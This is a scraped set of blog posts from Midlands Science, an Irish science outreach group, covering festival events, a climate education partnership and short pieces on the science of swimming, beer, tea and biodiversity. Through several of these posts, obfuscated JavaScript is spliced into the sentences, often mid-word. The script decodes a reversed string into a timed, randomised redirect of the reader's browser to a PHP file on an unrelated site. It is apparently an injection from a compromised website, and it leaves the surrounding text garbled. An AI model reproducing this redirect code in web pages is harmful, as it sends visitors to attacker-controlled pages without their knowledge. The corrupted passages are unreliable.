The Science of Santa Claus – December 14th

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We’re making a list, we’re checking it twice, we’re going to find out all about the science of Santa Claus! Join Midlands Science on Wednesday December 14th at 7pm for some special Christmas science with superhero scientist Dr Barry Fitzgerald – Book your place now!

We all know that on Christmas Eve, Santa Claus sets out to do a huge job, delivering presents to millions of children. It’s a monumental task and it wouldn’t be possible without Santa’s top secret advancements in science and engineering. In this unique event, you’ll learn all about the incredible science of Santa’s journey. We will also explore questions such as how does the sleigh fly sustainably? How does Santa avoid flying through bad weather? Where are Santa’s workshops in the Arctic Circle? Also, what food and drinks should you leave out for Santa on Christmas Eve?

There’s so much science to explore with Christmas. Santa Claus’s bright red coat and white fur trimmings may be in honour of the white-speckled, red-capped mushroom we know so well from fairy tales. Freshly picked fly agaric contains ibotenic acid, which converts to muscimol when the mushroom is dried. This is a powerful hallucinogen, which interacts with receptors in the brain resulting in hallucinations. In the past, Shamans of the tribes that herd reindeer in Siberia and Lapland would collect the mushrooms and carefully prepare them to optimise the mind-enhancing properties – and minimise the other dangerous toxins within the mushroom (of which there are several). At that time, the shamans believed they could use the mushrooms to travel to the spirit realm in search of answers to local problems, such as a sudden outbreak of illness. The effect of the muscimol gave the impression of flying out through the chimney of the shaman’s abode and travelling to the spirit world where they could seek advice. Muscimol passes through the body relatively unchanged which means that the shaman’s urine also had potent hallucinogenic properties. Reindeer happening upon these patches of yellow snow left by the shaman might well jump and skip around in the snow, off their antlers on mind-altering drugs. Perhaps, even, as they jumped up in the air, the sun in the northern regions would be low in the sky, silhouetting them in a characteristic flying pose .

Oh and don’t forget you can track Santa using the Santa Norad tracker !! https://www.noradsanta.org/

Midlands Science Partner with Energia Group to deliver ‘Innovate for Climate Action’

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Local development company, Midlands Science is delighted to announce a new collaboration with leading Irish renewable energy developer and energy provider, Energia Group. ‘Innovate for Climate Action’ is a climate science education programme being delivered to schools in the Midlands in the coming months. The role of young people in tackling climate change, one of the greatest challenges of our generation, is crucial. As part of ‘Innovate for Climate Action’ participating schools will learn about the climate crisis, climate change challenges and climate solutions. Students will also hear from Energia Group’s renewable energy experts about some of the exciting projects being progressed to help realise Ireland’s ambition to achieve a net zero economy. Energia Group is developing new offshore and onshore wind and solar projects, green hydrogen production and battery storage projects as part of their wider Positive Energy Investment programme.

Jackie Gorman, CEO of Midlands Science said, “The Climate Action Plan is Ireland’s roadmap to becoming a climate neutral economy and resilient society by 2050. Becoming a climate resilient society will help us to cope with the impacts of a changing climate. Young people care about the environmental crisis and climate action because it is their future which will be impacted by the worse effects of climate change. Midlands Science is delighted to team up with Energia  in providing a number of  workshops as part of the ‘Innovate for Climate Action’ programme over the coming months. A transformational shift in the way our society and economy operate is needed and students are more likely to change their behaviours and encourage their parents to join them if they better understand the science of climate change. These workshops will teach them more about climate and environmental impact, but it will also be interactive and include brainstorming and teamwork opportunities on certain aspects of climate change education.”

Annabel FitzGerald, ESG & Corporate Communications Manager, Energia Group said, “At Energia Group, we have aligned our responsible business activities to the UN Sustainable Development Goals and SDG 13 Climate Action is core to our business. Our new carbon target to reduce the carbon intensity of our electricity generation by 50% by 2030 demonstrates our commitment to climate action. We are delighted to partner with Midlands Science to deliver ‘Innovate for Climate Action’ to schools across the midlands. As well as progressing offshore renewable energy projects, windfarms, battery storage facilities, solar and hydrogen we understand the importance of continuing to raise awareness of the climate crisis and the urgency with which the energy transition must progress is vital. The students of today are the decision makers of the tomorrow and their engagement in climate related matters is critical.”

About Energia Group: Energia Group is a leading integrated Irish energy business with substantial operations in both the ROI and Northern Ireland. The Group primarily operates across three business units: Renewables, Flexible Generation, and Customer Solutions. With offices in Dublin, Galway, Cork, Belfast, Antrim, and Omagh, Energia Group supplies almost 21% of the island of Ireland’s total electricity requirements and 25% of the island’s total wind power meeting the energy needs of 800,000 homes and businesses with competitive electricity and gas services provided through its two retail brands Energia and Power NI. The Group supplies close to 1.3 Gigawatts of green power to the market, including power from 15 owned and invested wind farms on the island and also operates two major gas-fired power stations in north County Dublin. Energia Group employs over 1,000 people and is one of only 46 companies to have achieved the Business Working Responsibly mark from Business in the Community, the leading independently audited standard for CSR and Sustainability in Ireland.

Swimming…Here’s the Science

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We’ve all grown to love swimming over the last few years, with a huge growth in those swimming all year-round out $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doors. But have you ever considered how much science there is in swimming? This year’s Midlands Science Festival includes an event exploring the science of swimming and a cold-water swim in Lough Ree, full event details and booking link here.

So…let’s dive into some swimming science!

Humans evolved from sea creatures and yet we couldn’t be less suited to moving in water if we tried. We can’t breathe long under water, we $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don’t float very well and we get tired as we swim. One main thing to understand for the science of swimming is that air and water are different – a gas and a liquid. Water is denser and more viscous. This makes a difference to how we move as the main thing we have to $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do on land is work against gravity but in water, buoyancy cancels this out. So the main issue is drag – water resistance.

Newton’s Third Law is also vital to swimming. It says if you apply force to an object, the object applies an equal force to you in the opposite direction – this is action and reaction. It helps us make sense of the water. If you kick backwards against the wall of the pool, you will go forward in the water. If you want to swim forward through water, you have to pull the water back with your hands. If you want to make your body stay up, you need to kick $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}down with your legs. It’s all science!

Whether you are a dedicated dipper or a super-enthusiastic open water swimmer, you are welcome to join Midlands Science for a Swim Ireland supervised dip/swim at Lough Ree, Coosan Point, Athlone. Following your dip or swim [no pressure, it’s up to you how far you want to go], hot food and refreshments will be served in the Lough Ree Inn and an interview will take place with Catherine Kelly, author of “Blue Spaces”, the best selling book which explores why we love swimming and water so much. So come along to Coosan Point on Sunday November 13th and dive into the Science of Swimming!

Hop to It – The Science of Beer!

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The Midlands Science Festival is delighted to present a unique event for adult attendees this year exploring the science of brewing and beer. This event will take place in Dead Centre Brewing in Athlone (see images below). People have been brewing beer for thousands of years. Beer became a staple in the Middle Ages, when people began to live in cities where close quarters and poor sanitation made clean water difficult to obtain. The alcohol in beer made it safer to drink than water. Thankfully times have changed since then!

The evening will explore the complex biochemistry that makes a perfect pint and also the history of brewing. A complex series of biochemical reactions must take place to convert barley to fermentable sugars, and to allow yeast to live and multiply, converting those sugars to alcohol. Commercial breweries have to ensure every beer tastes the same, so they have very detailed processes and complicated equipment. Homebrewers $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don’t usually worry about this as much and so it’s likely that they rarely make the same beer twice.

Come along to the unique venue of Dead Centre Brewing and hear all about the science of beer and brewing – hop to it!

For full details and booking, click here!

 

Dead Centre Brewing Athlone - Beer Cans Dead Centre Brewing Athlone - Building Lobby Dead Centre Brewing Athlone - Pulling a Pint Dead Centre Brewing Athlone - Venue

 

 

 

Science Week is Coming!!

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Science Week is coming, and we are getting ready!! This year, we are delighted to be back in person and look forward to seeing you all again. We have a huge range of activities for all age groups. We will be kicking off with our Discovery Day in association with Integra in Sacred Heart Secondary School, Tullamore on November 12th. This family friendly event will include dinosaurs, superhero science, chemistry experiments and much more. The week will include workshops for primary and secondary schools and a range of activities for all age groups. These include an event exploring the science of pets with Pete the Vet, in association with Zoetis. Have a question about your furry friend, come along and ask Ireland’s most popular vet a question!

We have a great event for a Friday night in Dead Centre Brewing in Athlone, exploring the science of beer and brewing. Feel like a swim in November? Join us at Lough Ree on Sunday November 13th, for a swim with Swim Ireland and a talk on the science of swimming with some hot refreshments after your swim. Dr Andrew Magee will be talking about the science of resilience and Brian Gibson of Forensic Science Ireland will be talking about the science of solving crime. There is literally something for every age group!! Our online event exploring the science of F1 Racing includes the chance to win a day in the pit with a race team at Mondello Park. Ans there’s much more to come, so keep an eye on our site for updates and register as soon as you can. All events are free of charge, the Midlands Science Festival is supported by Science Foundation Ireland, through the Discover Programme.

For full Science Week event details and booking information, click here!

Back to School! Back to Science!

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It’s the time of year when we start thinking about our new uniforms and pencil cases and getting ready for back to school! Leaving the long hazy days of Summer behind for a new year of school and hopefully lots of science. No matter what year you are going into, there’s lots of science ahead as part of your school experience.

Midlands Science will have a new call out to schools in the region in the days, offering free workshops and activities to schools in the midlands at both primary and secondary level. Primary workshops cover everything from astronomy to zoology through fun hands on activities and interactive experiences with professional science outreach personnel. Whereas,  secondary school workshops explore career and subject choices with a wide variety of academic and industry partners.

Keep an eye on our social media for the call out to schools to apply for these free activities! Or sign up to the Midlands Science Mailing List using the form below. #BackToSchool #BackToScience #StayCurious

 

 





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Midlands Science Youth Advisory Panel – Applications

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Midlands Science promotes engagement with science, technology, engineering and maths to communities all over the midlands, to people of all ages and backgrounds. A key group of people we engage with are young people and we are keen to involve them in our content creation and programming. In order to make this involvement as impactful as possible, we are now establishing a Youth Advisory Panel which will meet three times per year to review the work of Midlands Science and to provide vital input into the development of this work.

A panel of 6 young people (aged 16+) will be established for a one year term from September to May each year and will be renewed each year with new members. In order to apply to take part in this exciting panel, please contact outreach@midlandsscience.ie All members will be provided with training in science communications and general communications and a full briefing on how to take part in the process. It will be an exciting and creative opportunity for anyone interested in science and/or communications. All panel members will be provided with certificates of participation and will be profiled online and in the media. Full parental/guardian permission for participation in the meetings and training will be required. The Youth Advisory Panel members will be key representatives of Midlands Science in the community and will be influencing decision making at many levels in the work of the organisation.

The Midlands Science Youth Panel offers many benefits and opportunities to participants including:

  • Development of leadership and communication skills.
  • Have your voice heard on skills and education issues.
  • Participation in the creation and development of science programmes and resources.
  • Participate in events such as the Midlands Science Festival.
  • Panelists will receive training in science communications and general communications skills.
  • Certificates of participation and guidance on CV development.
  • Opportunity to meet with a wide variety of people from science, technology, engineering and maths in Ireland.
  • Opportunity to visit leading STEM companies in the region and to be part of advocacy around STEM related issues.

All applications will be considered and the panel will be made up of the students who show the greatest enthusiasm for and interest in the work of Midlands Science and being part of decision making in a not-for-profit organisation in the midlands region.

Travel costs incurred by panel members in attending the Youth Panel will be covered by Midlands Science and all Youth Panel meetings will be held in accordance with the Midlands Science’s Child Protection Policy.

Midlands Science believes that engagement with science can have a positive and transformative impact on communities and we are excited to hear from those who share this belief.  We are committed to diversity and inclusion in our work and we strongly welcome applications from members of minority and marginalised communities. We also know that imposter syndrome can be an issue for some amazing people, so please get in touch to discuss this opportunity even if you feel like it might not be for you. We’d be happy to discuss any queries you might have.

 

Brewing Up – The Science of Tea!

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It’s one of the world’s most popular drinks, from a mug of tea to Earl Grey in fine china to a batch of Kombucha, everyone has a favourite tea. This fascinating drink has a great history and lots of science to consider. Tea is produced from the leaves of the plant Camellia sinensis and scientists have been studying the effect tea has on mood and cognition. A paper in Nature [outlook] in 2019 explained how researchers had found that tea drinking lowers the levels of cortisol, the stress hormone. Research is trying to establish what are the main compounds that give tea its benefits and if these compounds work in isolation or collectively.

Tea catechins — antioxidants such as epigallocatechin gallate— account for up to 42% of the dry weight of brewed green tea, and the amino acid L-theanine makes up around 3%. Epigallocatechin gallate is thought to make people feel calmer and improve memory and attention when consumed on its own. L-theanine is found to have a similar effect when consumed in combination with caffeine. Up to 5% of the dry weight of green tea is caffeine, which is known to improve mood, alertness and cognition. This means that tea is a bit of a para $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dox as it makes up feel alert and calm at the same time.

And we have to wonder is there a science to making the perfect cup of tea? We are sure there is and those who turn off the kettle just before it boils need to listen up! Alan Mackie of Leeds University’s School of Food Science and Nutrition has looked at this contentious issue of making the perfect cup of tea. First of all, you pour the milk as he found the proteins in the milk lowers the mineral content of the water and allows the flavour to be locked in. You also need to know how hard your water. How hard your water is determined by the amount of calcium and magnesium in it. The majority of water in Ireland is hard. Alan Mackie’s research found that flavour in tea is produced by the tannins and it’s more difficult with hard water for these compounds to develop fully. Also, if you like steeping the tea bag and removing it and then adding milk, you need to stop. Doing it this way means that the tannins turn into solids before flavours can develop. So if you want the perfect cuppa, it’s milk first, softened water and lots of practice. It turns out there’s a lot to know about tea and a great resource on all things tea is The Tea Book by Linda Gaylard, where you can learn about all types of tea and how to prepare them.

 

Biodiversity Week

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The term biodiversity (from “biological diversity”) refers to the variety of life on Earth at all its levels, from genes to ecosystems, and can encompass the evolutionary, ecological, and cultural processes that sustain life. The air you breathe, the water you drink and the food you eat all rely on biodiversity, but right now it is in crisis – because of human activity. The term biodiversity was coined by biologist E.O Wilson, who died in December 2021. He said “Look closely at nature. Every species is a masterpiece, exquisitely adapted to the particular environment in which it has survived. Who are we to destroy or even diminish biodiversity?”

In Ireland, National Biodiversity Week is all about connecting people with nature. It’s about communicating the importance of biodiversity and motivating people to play their part in protecting it. Midlands Science will be running a series of school workshops with Dale Treadwell of Naturally Wild and RTE Jr, exploring STEM through building natural geo $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domes and learning about nature and maths. A geo $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dome is a spherical space-frame structure which is made up of a complex network of triangles. The linked triangles create a self-bracing framework that is very strong structurally and yet are elegant and beautiful.

A great resource for learning about biodiversity in Ireland is the National Biodiversity Data Centre, which works to make biodiversity information and data more freely available. It currently holds information on over 16,000 species in Ireland. You can add to their work through their app which is available for free online. Out for a walk and see a fox or an orchid or a hare, record it in the app and play your part in monitoring and protecting Ireland’s biodiversity.

Shamrock Science for St Patrick’s Day

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A little shamrock science for St Patrick’s Day. Shamrock usually refers to either the species Trifolium dubium (lesser clover, Irish: seamair bhuí) or Trifolium repens (white clover, Irish: seamair bhán). However, other three-leaved plants—such as Medicago lupulina, Trifolium pratense, and Oxalis acetosella—are sometimes called shamrocks. The shamrock was traditionally used for its medicinal properties and was a popular motif in Victorian times.

The botanist Carl von Linné in his 1737 work Flora Lapponica identifies the shamrock as Trifolium pratense, mentioning it by name as Chambroch. However, results from various surveys show that there is no one “true” species of shamrock, but that Trifolium dubium (Lesser clover) is considered to be the shamrock by roughly half of Irish people, and Trifolium repens (White clover) by another third, with the remaining fifth split between Trifolium pratense, Medicago lupulina, Oxalis acetosella and various other species of Trifolium and Oxalis. None of the species in the survey are unique to Ireland, and all are common European species, so there is no botanical basis for the widespread belief that the shamrock is a unique species of plant that only grows in Ireland.